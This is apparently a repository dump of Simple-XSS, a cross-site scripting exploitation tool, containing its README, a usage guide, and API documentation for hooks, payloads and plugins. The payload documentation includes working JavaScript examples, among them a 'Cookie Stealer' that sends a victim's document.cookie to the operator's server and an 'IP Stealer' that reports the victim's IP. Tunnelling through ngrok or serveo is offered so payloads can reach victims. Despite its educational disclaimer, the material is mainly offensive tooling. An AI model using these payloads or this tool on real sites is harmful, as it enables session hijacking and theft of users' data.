├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── docs
├── CHANGELOG.md
├── GUIDE.md
├── HOOKS.md
├── PAYLOADS.md
├── PLUGINS.md
├── README.md
└── VOCABULARY.md
├── pyproject.toml
├── requirements
├── linux.txt
└── windows.txt
├── resources
├── hooks
│ ├── http-eval
│ │ └── hook.py
│ ├── http
│ │ └── hook.py
│ └── websocket
│ │ └── hook.py
├── images
│ ├── logo.ico
│ ├── logo.png
│ ├── service1.png
│ ├── service2.png
│ ├── tutor1.png
│ ├── tutor10.png
│ ├── tutor11.png
│ ├── tutor12.png
│ ├── tutor2.png
│ ├── tutor3.png
│ ├── tutor4.png
│ ├── tutor5.png
│ ├── tutor6.png
│ ├── tutor7.png
│ ├── tutor8.png
│ ├── tutor9.png
│ └── v0.0.3.png
├── locales
│ ├── en
│ │ └── LC_MESSAGES
│ │ │ └── simplexss.po
│ └── uk
│ │ └── LC_MESSAGES
│ │ └── simplexss.po
├── payloads
│ ├── alert
│ │ ├── payload.js
│ │ └── payload.py
│ ├── cookies
│ │ ├── payload.js
│ │ └── payload.py
│ └── ip
│ │ ├── payload.js
│ │ └── payload.py
└── plugins
│ └── settings
│ └── plugin.py
├── simplexss
├── __init__.py
├── __main__.py
├── api
│ ├── __init__.py
│ ├── di.py
│ ├── events.py
│ ├── hooks.py
│ ├── io.py
│ ├── payloads.py
│ ├── plugins.py
│ └── transports.py
├── core
│ ├── __init__.py
│ ├── arguments.py
│ ├── channels.py
│ ├── config.py
│ ├── containers.py
│ ├── core.py
│ ├── data
│ │ ├── __init__.py
│ │ └── environments.py
│ ├── enums
│ │ ├── __init__.py
│ │ └── graphic.py
│ ├── io
│ │ ├── __init__.py
│ │ ├── api.py
│ │ ├── logging.py
│ │ └── types.py
│ ├── logging.py
│ ├── process
│ │ ├── __init__.py
│ │ ├── channels.py
│ │ ├── enums.py
│ │ ├── logging.py
│ │ ├── processors.py
│ │ └── types.py
│ ├── schemas
│ │ ├── __init__.py
│ │ ├── arguments.py
│ │ └── settings.py
│ ├── settings.py
│ ├── transports
│ │ ├── __init__.py
│ │ ├── api.py
│ │ ├── exceptions.py
│ │ ├── factories.py
│ │ ├── http
│ │ │ ├── __init__.py
│ │ │ ├── fastapi
│ │ │ │ ├── __init__.py
│ │ │ │ ├── constants.py
│ │ │ │ ├── dependencies.py
│ │ │ │ ├── schemas.py
│ │ │ │ ├── servers.py
│ │ │ │ └── services.py
│ │ │ ├── services.py
│ │ │ ├── sessions.py
│ │ │ └── types.py
│ │ ├── types.py
│ │ └── websocket
│ │ │ ├── __init__.py
│ │ │ ├── server
│ │ │ ├── __init__.py
│ │ │ ├── constants.py
│ │ │ ├── schemas.py
│ │ │ └── servers.py
│ │ │ ├── services.py
│ │ │ ├── sessions.py
│ │ │ └── types.py
│ ├── tunneling
│ │ ├── __init__.py
│ │ ├── exceptions.py
│ │ ├── factories.py
│ │ ├── ngrok
│ │ │ ├── __init__.py
│ │ │ ├── services.py
│ │ │ └── sessions.py
│ │ ├── serveo
│ │ │ ├── __init__.py
│ │ │ ├── services.py
│ │ │ └── sessions.py
│ │ └── types.py
│ ├── types.py
│ ├── ui
│ │ ├── __init__.py
│ │ ├── channels.py
│ │ ├── cli
│ │ │ ├── __init__.py
│ │ │ └── cli.py
│ │ ├── contexts.py
│ │ ├── factories.py
│ │ ├── gui
│ │ │ ├── __init__.py
│ │ │ ├── banners
│ │ │ │ ├── __init__.py
│ │ │ │ ├── basic.py
│ │ │ │ ├── constants.py
│ │ │ │ ├── enums.py
│ │ │ │ ├── error.py
│ │ │ │ └── warning.py
│ │ │ ├── channels.py
│ │ │ ├── components
│ │ │ │ ├── __init__.py
│ │ │ │ ├── constants.py
│ │ │ │ ├── enums.py
│ │ │ │ ├── hook.py
│ │ │ │ ├── main.py
│ │ │ │ ├── message.py
│ │ │ │ ├── network.py
│ │ │ │ ├── payload.py
│ │ │ │ └── process.py
│ │ │ ├── containers.py
│ │ │ ├── exceptions.py
│ │ │ ├── gui.py
│ │ │ ├── managers.py
│ │ │ └── types.py
│ │ └── types.py
│ └── utils.py
└── utils
│ ├── __init__.py
│ ├── arguments
│ ├── __init__.py
│ ├── logging.py
│ ├── parsers.py
│ └── types.py
│ ├── clsutils
│ ├── __init__.py
│ └── generators.py
│ ├── di
│ ├── __init__.py
│ ├── containers
│ │ ├── __init__.py
│ │ └── container.py
│ ├── dependencies
│ │ ├── __init__.py
│ │ ├── basic.py
│ │ ├── dependency.py
│ │ ├── factory.py
│ │ └── singleton.py
│ ├── logging.py
│ ├── types.py
│ └── utils
│ │ ├── __init__.py
│ │ ├── inject.py
│ │ └── setup.py
│ ├── events
│ ├── __init__.py
│ ├── channels.py
│ ├── events.py
│ ├── logging.py
│ └── types.py
│ ├── imputils
│ ├── __init__.py
│ ├── cls.py
│ ├── logging.py
│ └── module.py
│ ├── jinja
│ ├── __init__.py
│ └── utils.py
│ ├── network
│ ├── __init__.py
│ ├── contants.py
│ ├── url.py
│ └── validators.py
│ ├── packages
│ ├── __init__.py
│ ├── constants.py
│ ├── exceptions.py
│ ├── logging.py
│ ├── managers.py
│ ├── packages.py
│ └── types.py
│ ├── settings
│ ├── __init__.py
│ ├── exceptions.py
│ ├── logging.py
│ ├── toml
│ │ ├── __init__.py
│ │ └── loaders.py
│ └── types.py
│ └── theads
│ ├── __init__.py
│ └── utils.py
└── tests
├── transports
└── http
│ ├── test_fast_api_server.py
│ └── test_http_service.py
├── tunneling
├── test_factory.py
└── test_ngrok.py
└── utils
├── args
└── test_parser.py
├── clsutils
└── test_generators.py
├── di
├── test_container.py
├── test_factory_dependency.py
├── test_inject.py
└── test_singleton_dependnecy.py
├── events
├── test_async_event.py
├── test_event_channel.py
└── test_sync_event.py
├── network
├── test_url.py
└── test_validators.py
├── packages
├── packages
│ ├── package.py
│ └── package_2.py
└── test_manager.py
└── settings
└── test_toml.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | share/python-wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 | MANIFEST
28 |
29 | # PyInstaller
30 | # Usually these files are written by a python script from a template
31 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
32 | *.manifest
33 | *.spec
34 |
35 | # Installer logs
36 | pip-log.txt
37 | pip-delete-this-directory.txt
38 |
39 | # Unit http / coverage reports
40 | htmlcov/
41 | .tox/
42 | .nox/
43 | .coverage
44 | .coverage.*
45 | .cache
46 | nosetests.xml
47 | coverage.xml
48 | *.cover
49 | *.py,cover
50 | .hypothesis/
51 | .pytest_cache/
52 | cover/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | db.sqlite3
61 | db.sqlite3-journal
62 |
63 | # Flask stuff:
64 | instance/
65 | .webassets-cache
66 |
67 | # Scrapy stuff:
68 | .scrapy
69 |
70 | # Sphinx documentation
71 | docs/_build/
72 |
73 | # PyBuilder
74 | .pybuilder/
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | # For a library or package, you might want to ignore these files since the js is
86 | # intended to run in multiple environments; otherwise, check them in:
87 | # .python-version
88 |
89 | # pipenv
90 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
91 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
92 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
93 | # install all needed dependencies.
94 | #Pipfile.lock
95 |
96 | # poetry
97 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
98 | # This is especially recommended for binary packages to ensure reproducibility, and is more
99 | # commonly ignored for libraries.
100 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
101 | poetry.lock
102 |
103 | # pdm
104 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
105 | #pdm.lock
106 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
107 | # in version control.
108 | # https://pdm.fming.dev/#use-with-ide
109 | .pdm.toml
110 |
111 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
112 | __pypackages__/
113 |
114 | # Celery stuff
115 | celerybeat-schedule
116 | celerybeat.pid
117 |
118 | # SageMath parsed files
119 | *.sage.py
120 |
121 | # Environments
122 | .env
123 | .venv
124 | env/
125 | venv/
126 | ENV/
127 | env.bak/
128 | venv.bak/
129 |
130 | # Spyder project settings
131 | .spyderproject
132 | .spyproject
133 |
134 | # Rope project settings
135 | .ropeproject
136 |
137 | # mkdocs documentation
138 | /site
139 |
140 | # mypy
141 | .mypy_cache/
142 | .dmypy.json
143 | dmypy.json
144 |
145 | # Pyre type checker
146 | .pyre/
147 |
148 | # pytype static type analyzer
149 | .pytype/
150 |
151 | # Cython debug symbols
152 | cython_debug/
153 |
154 | # PyCharm
155 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
156 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
157 | # and can be added to the global gitignore or merged into this file. For a more nuclear
158 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
159 | .idea/
160 |
161 | # Linter
162 | .ruff_cache
163 |
164 | # Settings
165 | settings.toml
166 |
167 | # Logfiles
168 | .log
169 |
170 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 CrazyProger1
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: test
2 | test:
3 | poetry run python -m pytest tests/
4 |
5 |
6 | .PHONY: run
7 | run:
8 | poetry run python -m simplexss
9 |
10 |
11 | .PHONY: translations
12 | translations:
13 | poetry run python -m i18n simplexss/__init__.py simplexss.pot
14 |
15 |
16 | .PHONY: build
17 | build:
18 | poetry run pyinstaller -F --name Simple-XSS --icon "resources/images/logo.ico" simplexss/__main__.py
19 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | Simple-XSS is a multi-platform cross-site scripting (XSS) vulnerability exploitation tool for pentesting.
14 |
15 | Problems solved by Simple-XSS:
16 |
17 | - [x] Easy creatable payloads & hooks
18 | - [x] Support of several transport services (HTTP, Websocket)
19 | - [x] Support of several tunneling services (to deliver payload even without white IP)
20 |
21 | **Disclaimer:** This program is provided for educational and research purposes only.
22 | The creator of this program does not condone or support any illegal or malicious activity,
23 | and will not be held responsible for any such actions taken by others who may use this program.
24 | By downloading or using this program, you acknowledge that you are solely responsible for any consequences
25 | that may result from the use of this program.
26 |
27 | ## Documentation
28 |
29 | See **[docs](./docs/README.md)**
30 |
31 | ## Status
32 |
33 | **V0.0.3 - released**
34 |
35 | ## Interface
36 |
37 | ### Graphical
38 |
39 | 
40 |
41 | ## Warning
42 |
43 | In favor of ease of use and expanded capabilities, we had to sacrifice backward compatibility between versions 0.2 and
44 | 0.0.3. The features of the previous version are retained and expanded, but older versions of hook & payload will not
45 | work.
46 |
47 | ## Installation
48 |
49 | **Note:** _make sure you have installed [Python 3.12](https://www.python.org/) or higher._
50 |
51 | First you need to clone the repository:
52 |
53 | ```commandline
54 | git clone https://github.com/CrazyProger1/Simple-XSS
55 | ```
56 |
57 | Then go to the folder & install the requirements:
58 |
59 | **For Window:**
60 |
61 | ```commandline
62 | cd Simple-XSS
63 | pip install -r requirements/windows.txt
64 | ```
65 |
66 | **For Linux:**
67 |
68 | ```commandline
69 | cd Simple-XSS
70 | pip install -r requirements/linux.txt
71 | ```
72 |
73 | And finally you can launch it:
74 |
75 | ```commandline
76 | python simplexss
77 | ```
78 |
79 | ## License
80 |
81 | Simple-XSS is released under the MIT License. See the bundled [LICENSE](LICENSE) file for details.
82 |
--------------------------------------------------------------------------------
/docs/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS Changelog
2 |
3 | ## V0.0.3
4 |
5 | - [x] Rewritten from scratch to improve maintainability and expand functionality
6 |
7 | - [x] Added support for various protocols (as transport services)
8 | - [x] HTTP
9 | - [ ] Websockets (unfinished)
10 |
11 | - [x] Added tunneling service
12 | - [x] Serveo
13 | - [x] Ngrok
14 |
15 | - [x] Added plugin system
16 |
17 | - [x] Added i18n
18 |
--------------------------------------------------------------------------------
/docs/GUIDE.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS Guide
2 |
3 | - Choose transport option:
4 |
5 | 
6 |
7 | - Enter a convenient host and port on which the transport server should run:
8 |
9 | 
10 |
11 | - Choose tunneling option (if you have a white IP or want to test locally - turn off "Use Tunneling Service"):
12 |
13 | 
14 |
15 | 
16 |
17 | - Choose hook option:
18 |
19 | 
20 |
21 | - Choose payload option:
22 |
23 | 
24 |
25 | - Run the process:
26 |
27 | 
28 |
29 | - You'll see hook, copy it:
30 |
31 | 
32 |
33 | - Test your hook:
34 |
35 | 
36 |
37 | - Client hooked, now you can enter and send text:
38 |
39 | 
40 |
41 | 
42 |
43 | - See alert:
44 |
45 | 
46 |
--------------------------------------------------------------------------------
/docs/HOOKS.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS Hooks
2 |
3 | See [hook.](VOCABULARY.md)
4 |
5 | See [environment](PAYLOADS.md/#environment) - same as payload.
6 |
7 | See [io](PAYLOADS.md/#io-api) - same as payload.
8 |
9 | ## Examples
10 |
11 | ### HTTP Default Hook
12 |
13 | ```python
14 | # hook.py
15 |
16 | from simplexss.api.hooks import BaseHook
17 |
18 |
19 | class Hook(BaseHook):
20 | AUTHOR = 'crazyproger1'
21 | DESCRIPTION = 'Default HTTP hook, uses script src.'
22 | NAME = 'Default HTTP Hook'
23 | VERSION = '0.0.1'
24 | TRANSPORTS = (
25 | 'Default HTTP Transport',
26 | )
27 |
28 | @property
29 | def hook(self) -> str:
30 | return f''
31 | ```
32 |
33 | ### HTTP Eval Hook
34 |
35 | ```python
36 | # hook.py
37 |
38 | from simplexss.api.hooks import BaseHook
39 |
40 |
41 | class Hook(BaseHook):
42 | AUTHOR = 'crazyproger1'
43 | DESCRIPTION = 'HTTP Eval hook. '
44 | NAME = 'HTTP Eval Hook'
45 | VERSION = '0.0.1'
46 | TRANSPORTS = (
47 | 'Default HTTP Transport',
48 | )
49 |
50 | @property
51 | def hook(self) -> str:
52 | return f''
53 | ```
54 |
--------------------------------------------------------------------------------
/docs/PAYLOADS.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS Payloads
2 |
3 | See [payload.](VOCABULARY.md)
4 |
5 | ## API
6 |
7 | ### Payload-API
8 |
9 | #### Environment
10 |
11 | Environment - actual information about running process:
12 |
13 | - url - current transport server address (tunneled or not)
14 | - settings - current Simple-XSS settings
15 | - arguments - current Simple-XSS arguments
16 |
17 | ```python
18 | class Environment:
19 | url: str = None
20 | settings: SettingsSchema = None
21 | arguments: ArgumentsSchema = None
22 | ```
23 |
24 | #### Dependencies
25 |
26 | Payloads have dependencies:
27 |
28 | - [transport API](#Transport-API)
29 | - [io API](#IO-API)
30 | - [environment](#Environment)
31 |
32 | Dependencies are accessible in payload after binding:
33 |
34 | ```python
35 | from simplexss.api import BasePayload
36 |
37 |
38 | class Payload(BasePayload):
39 | def bind_dependencies(self, **deps):
40 | self.transport = deps.get('transport')
41 | self.io = deps.get('io')
42 | self.environment = deps.get('env')
43 | ```
44 |
45 | Payload methods that called at a specific time:
46 |
47 | - ```def bind_dependencies(self, **deps)``` - called when process is launching to bind dependencies.
48 |
49 | - ```def bind_endpoints(self)``` - called when process is launching to bind event handlers (endpoints) to transport.
50 |
51 | ### Transport-API
52 |
53 | See [transport.](VOCABULARY.md)
54 |
55 | Transport API is provided for the payload to communicate with client. Every transport should have single Python-side API:
56 |
57 | ```python
58 | class BaseClient: # depends on Transport Service, but always should inherit Base
59 | origin: str
60 |
61 |
62 | class BaseEvent: # depends on Transport Service, but always should inherit Base
63 | name: str
64 | data: dict = None
65 |
66 |
67 | type Endpoint = Callable[[BaseClient, BaseEvent], Coroutine | BaseEvent | any | None] # event handler type
68 |
69 |
70 | class BaseTransportAPI(ABC):
71 | @abstractmethod
72 | def bind_endpoint(self, event: str, endpoint: Endpoint): ... # add event handler
73 |
74 | @abstractmethod
75 | async def send_event(self, client: BaseClient, event: BaseEvent): ... # send event
76 | ```
77 |
78 | ### Transport-JS-API
79 |
80 | Every transport should have single JS-side API:
81 |
82 | ```js
83 | const addListener = (event: string, callback) => ... // add event handler
84 |
85 | const sendEvent = async (event: string, data: object = {}) => ... // send event
86 | ```
87 |
88 | Example callback:
89 | ```js
90 | const callback = (data: object) => ... // User event handler
91 | ```
92 | ### IO-API
93 |
94 | An I/O manager is provided for the payloads and hooks to handle IO operations. It has interface:
95 |
96 | ```python
97 | class BaseIOManagerAPI(ABC):
98 | @abstractmethod
99 | async def print(self, *args, color: Color | str = Color.DEFAULT, sep: str = ' ', end: str = '\n'): ...
100 |
101 | @abstractmethod
102 | async def input(self, prompt: str, /, *, color: Color | str = Color.DEFAULT): ...
103 | ```
104 |
105 | ## Examples
106 |
107 | ### IP Stealer
108 |
109 | ```python
110 | # payload.py
111 |
112 | from simplexss.api import (
113 | BasePayload,
114 | BaseClient,
115 | BaseEvent,
116 | render
117 | )
118 |
119 |
120 | class Payload(BasePayload):
121 | AUTHOR = 'crazyproger1'
122 | DESCRIPTION = 'Steals IP.'
123 | NAME = 'IP Stealer'
124 | VERSION = '0.0.1'
125 |
126 | async def on_ip(self, client: BaseClient, event: BaseEvent):
127 | await self.io.print(f'IP: {event.data.get("ip", "unknown")}')
128 |
129 | async def on_connection(self, client: BaseClient, event: BaseEvent):
130 | await self.io.print(f'Connection established: {client.origin}')
131 |
132 | def bind_endpoints(self):
133 | self.transport.bind_endpoint('connection', self.on_connection)
134 | self.transport.bind_endpoint('ip', self.on_ip)
135 |
136 | @property
137 | def payload(self) -> str:
138 | return render(self.directory, 'payload.js', )
139 | ```
140 |
141 | ```js
142 | // payload.js
143 |
144 | fetch('https://api.ipify.org?format=json')
145 | .then(response => response.json())
146 | .then(data => sendEvent('ip', {'ip': data.ip}));
147 | ```
148 |
149 | ### Cookie Stealer
150 |
151 | ```python
152 | # payload.py
153 |
154 | from simplexss.api import (
155 | BasePayload,
156 | BaseClient,
157 | BaseEvent,
158 | render
159 | )
160 |
161 |
162 | class Payload(BasePayload):
163 | AUTHOR = 'crazyproger1'
164 | DESCRIPTION = 'Steals cookies.'
165 | NAME = 'Cookie Stealer'
166 | VERSION = '0.0.1'
167 |
168 | async def on_cookies(self, client: BaseClient, event: BaseEvent):
169 | await self.io.print(f'Cookies: {event.data.get("cookies")}')
170 |
171 | async def on_connection(self, client: BaseClient, event: BaseEvent):
172 | await self.io.print(f'Connection established: {client.origin}')
173 |
174 | def bind_endpoints(self):
175 | self.transport.bind_endpoint('connection', self.on_connection)
176 | self.transport.bind_endpoint('cookies', self.on_cookies)
177 |
178 | @property
179 | def payload(self) -> str:
180 | return render(self.directory, 'payload.js', )
181 | ```
182 |
183 | ```js
184 | // payload.js
185 |
186 | sendEvent('cookies', {'cookies': document.cookie})
187 | ```
188 |
189 | ### Alert
190 |
191 | ```python
192 | # payload.py
193 |
194 | from simplexss.api import (
195 | BasePayload,
196 | BaseClient,
197 | BaseEvent,
198 | render
199 | )
200 |
201 |
202 | class Payload(BasePayload):
203 | AUTHOR = 'crazyproger1'
204 | DESCRIPTION = 'Alerts your message when connection established.'
205 | NAME = 'Alert'
206 | VERSION = '0.0.1'
207 |
208 | async def on_connection(self, client: BaseClient, event: BaseEvent):
209 | await self.io.print(f'Connection established: {client.origin}')
210 |
211 | text = await self.io.input('Text')
212 |
213 | return {
214 | 'name': 'alert',
215 | 'data': {
216 | 'text': text
217 | }
218 | }
219 |
220 | def bind_endpoints(self):
221 | self.transport.bind_endpoint('connection', self.on_connection)
222 |
223 | @property
224 | def payload(self) -> str:
225 | return render(self.directory, 'payload.js', )
226 | ```
227 |
228 | ```js
229 | // payload.js
230 |
231 | addListener('alert', (data) => alert(data.text))
232 | ```
--------------------------------------------------------------------------------
/docs/PLUGINS.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS Plugins
2 |
3 | Simple-XSS is designed to be expendable, almost any component can be replaced at runtime.
4 |
5 | ## DI-System
6 |
7 | Dependency injection tools allows to replace almost any component in program at runtime. It uses container-based
8 | system, where container stores all dependencies.
9 |
10 | Any dependency can be injected into a function/method using the ```@inject``` decorator:
11 |
12 | ```python
13 | from simplexss.utils.di import inject
14 |
15 |
16 | @inject
17 | def on_settings_loaded(settings=CoreContainer.settings):
18 | print(f'Settings loaded: {settings}')
19 | ```
20 |
21 | **Core Container:**
22 |
23 | ```python
24 | class CoreContainer(containers.Container):
25 | arguments_schema = dependencies.Dependency(ArgumentsSchema)
26 | settings_schema = dependencies.Dependency(SettingsSchema)
27 |
28 | arguments_parser = dependencies.Factory(SchemedArgumentParser, kwargs={'schema': arguments_schema})
29 | settings_loader = dependencies.Factory(TOMLLoader)
30 |
31 | arguments = dependencies.Dependency()
32 | settings = dependencies.Dependency()
33 |
34 | plugin_class = dependencies.Dependency(BasePlugin)
35 | plugin_manager = dependencies.Singleton(PackageManager)
36 |
37 | hook_class = dependencies.Dependency(BaseHook)
38 | hook_manager = dependencies.Singleton(PackageManager)
39 |
40 | payload_class = dependencies.Dependency(BasePayload)
41 | payload_manager = dependencies.Singleton(PackageManager)
42 |
43 | ui_factory = dependencies.Factory(UIFactory)
44 |
45 | tunneling_service_factory = dependencies.Factory(TunnelingServiceFactory)
46 | transport_service_factory = dependencies.Factory(TransportServiceFactory)
47 |
48 | io_manager = dependencies.Singleton(IOManagerAPI)
49 |
50 | ui_context = dependencies.Singleton(
51 | UIContext,
52 | kwargs={
53 | 'settings': settings,
54 | 'arguments': arguments
55 | }
56 | )
57 |
58 | processor = dependencies.Factory(
59 | SimpleXSSProcessor,
60 | kwargs={
61 | 'arguments': arguments,
62 | 'settings': settings,
63 | 'transport_factory': transport_service_factory,
64 | 'tunneling_factory': tunneling_service_factory,
65 | 'hook_manager': hook_manager,
66 | 'payload_manager': payload_manager,
67 | 'io_manager': io_manager,
68 | 'ui_context': ui_context
69 | }
70 | )
71 |
72 | core = dependencies.Singleton(
73 | Core,
74 | kwargs={
75 | 'arguments': arguments,
76 | 'settings': settings,
77 | 'ui_factory': ui_factory,
78 | 'processor': processor
79 | }
80 | )
81 | ```
82 |
83 | **GUI Container:**
84 |
85 | ```python
86 | class GUIContainer(containers.Container):
87 | main_page = dependencies.Dependency()
88 |
89 | error_banner = dependencies.Factory(ErrorBanner)
90 | warning_banner = dependencies.Factory(WarningBanner)
91 |
92 | network_box = dependencies.Factory(NetworkBox, kwargs={
93 | 'tunneling_factory': CoreContainer.tunneling_service_factory,
94 | 'transport_factory': CoreContainer.transport_service_factory,
95 | })
96 | hook_box = dependencies.Factory(HookBox, kwargs={
97 | 'manager': CoreContainer.hook_manager,
98 | 'transport_factory': CoreContainer.transport_service_factory,
99 | })
100 | payload_box = dependencies.Factory(PayloadBox, kwargs={
101 | 'manager': CoreContainer.payload_manager,
102 | })
103 | process_control_box = dependencies.Factory(ProcessControlBox)
104 | message_area_box = dependencies.Factory(MessageAreaBox, kwargs={
105 | 'io_manager': CoreContainer.io_manager,
106 | })
107 | message_control_box = dependencies.Factory(MessageControlBox, kwargs={
108 | 'io_manager': CoreContainer.io_manager,
109 | })
110 |
111 | main_box = dependencies.Factory(MainBox, kwargs={
112 | 'network_box': network_box,
113 | 'hook_box': hook_box,
114 | 'payload_box': payload_box,
115 | 'process_control_box': process_control_box,
116 | 'message_area_box': message_area_box,
117 | 'message_control_box': message_control_box
118 | })
119 |
120 | gui_manager = dependencies.Factory(
121 | ComponentManager,
122 | kwargs={
123 | 'component': main_box,
124 | 'page': main_page,
125 | 'context': CoreContainer.ui_context,
126 | 'error_banner': error_banner,
127 | 'warning_banner': warning_banner,
128 | }
129 | )
130 | ```
131 |
132 | ## Event-System
133 |
134 | Event-driven architecture allows to track and handle events. All events are organized and stores into event-channels.
135 |
136 | To subscribe on event:
137 |
138 | ```python
139 | # for sync events
140 | def on_settings_loaded():
141 | print(f'Settings loaded')
142 |
143 |
144 | CoreChannel.settings_loaded.subscribe(on_settings_loaded)
145 |
146 |
147 | # for async events
148 | async def on_settings_loaded_async():
149 | print(f'Settings loaded')
150 |
151 |
152 | CoreChannel.settings_loaded.subscribe(on_settings_loaded_async)
153 | # or
154 | CoreChannel.settings_loaded.subscribe(on_settings_loaded)
155 | ```
156 |
157 | **Core Channel:**
158 |
159 | ```python
160 | class CoreChannel(EventChannel):
161 | plugins_loaded = AsyncEvent()
162 | hooks_loaded = AsyncEvent()
163 | payloads_loaded = AsyncEvent()
164 | arguments_loaded = AsyncEvent()
165 | settings_loaded = AsyncEvent()
166 | core_initialized = Event()
167 | core_terminated = AsyncEvent()
168 | ```
169 |
170 |
171 |
172 | ## Services
173 |
174 | To add transport or tunneling service you can just implement service interface or inherit one of existing services.
175 |
176 | ### Transport
177 |
178 | ```python
179 | from simplexss.api import BasePlugin
180 |
181 | from simplexss.core.transports import BaseTransportService, BaseSession
182 |
183 |
184 | class MyService(BaseTransportService):
185 | NAME = 'My HTTP Service'
186 | PROTOCOL = 'http'
187 |
188 | async def run(self, host: str, port: int, **kwargs) -> BaseSession:
189 | pass
190 |
191 | async def stop(self, session: BaseSession) -> None:
192 | pass
193 |
194 |
195 | class Plugin(BasePlugin):
196 | pass
197 | ```
198 |
199 | 
200 |
201 | ### Tunneling
202 |
203 | ```python
204 | from simplexss.api import BasePlugin
205 |
206 | from simplexss.core.tunneling import BaseTunnelingService, BaseSession
207 |
208 |
209 | class MyService(BaseTunnelingService):
210 | NAME = 'My Tunneling Service'
211 | PROTOCOLS = {
212 | 'http',
213 | }
214 |
215 | async def run(self, protocol: str, port: int) -> BaseSession:
216 | pass
217 |
218 | async def stop(self, session: BaseSession):
219 | pass
220 |
221 |
222 | class Plugin(BasePlugin):
223 | pass
224 | ```
225 |
226 | 
227 |
228 |
229 | ## Examples
230 |
231 | ```python
232 | from simplexss.api import (
233 | BasePlugin,
234 | CoreChannel,
235 | CoreContainer
236 | )
237 |
238 | from simplexss.utils.di import inject
239 |
240 |
241 | class Plugin(BasePlugin):
242 | NAME = 'Settings Loading Detector'
243 |
244 | def on_loaded(self, file: str):
245 | CoreChannel.settings_loaded.subscribe(self.on_settings_loaded)
246 |
247 | @inject
248 | def on_settings_loaded(self, settings=CoreContainer.settings):
249 | print(f'Settings loaded: {settings}')
250 | ```
251 |
--------------------------------------------------------------------------------
/docs/README.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS Documentation
2 |
3 | - [Guide](./GUIDE.md)
4 | - [Vocabulary](./VOCABULARY.md)
5 | - [Hooks](./HOOKS.md)
6 | - [Payloads](./PAYLOADS.md)
7 | - [Plugins](./PLUGINS.md)
8 | - [Changelog](./CHANGELOG.md)
--------------------------------------------------------------------------------
/docs/VOCABULARY.md:
--------------------------------------------------------------------------------
1 | # Simple-XSS Vocabulary
2 |
3 | - **Hook** - snippet of JS code designed to be injected via XSS on the client side.
4 |
5 | - **Payload** - a program that will be launched remotely in the client’s browser.
6 |
7 | - **Plugin** - program extension.
8 |
9 | - **Transport Service** - service responsible for delivering payload to client side & data exchange between client and
10 | host.
11 |
12 | - **Tunneling Service** - service responsible for tunneling (it's useful if you don't have white IP)
13 |
14 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [tool.ruff]
2 | exclude = [
3 | ".bzr",
4 | ".direnv",
5 | ".eggs",
6 | ".git",
7 | ".git-rewrite",
8 | ".hg",
9 | ".mypy_cache",
10 | ".nox",
11 | ".pants.d",
12 | ".pytype",
13 | ".ruff_cache",
14 | ".svn",
15 | ".tox",
16 | ".venv",
17 | "__pypackages__",
18 | "_build",
19 | "buck-out",
20 | "build",
21 | "dist",
22 | "node_modules",
23 | "venv"
24 | ]
25 |
26 | [tool.poetry]
27 | name = "simple-xss"
28 | version = "0.0.3"
29 | description = "Simple-XSS is a multi-platform cross-site scripting (XSS) vulnerability exploitation tool for pentesting."
30 | authors = ["CrazyProger1 "]
31 | license = "MIT"
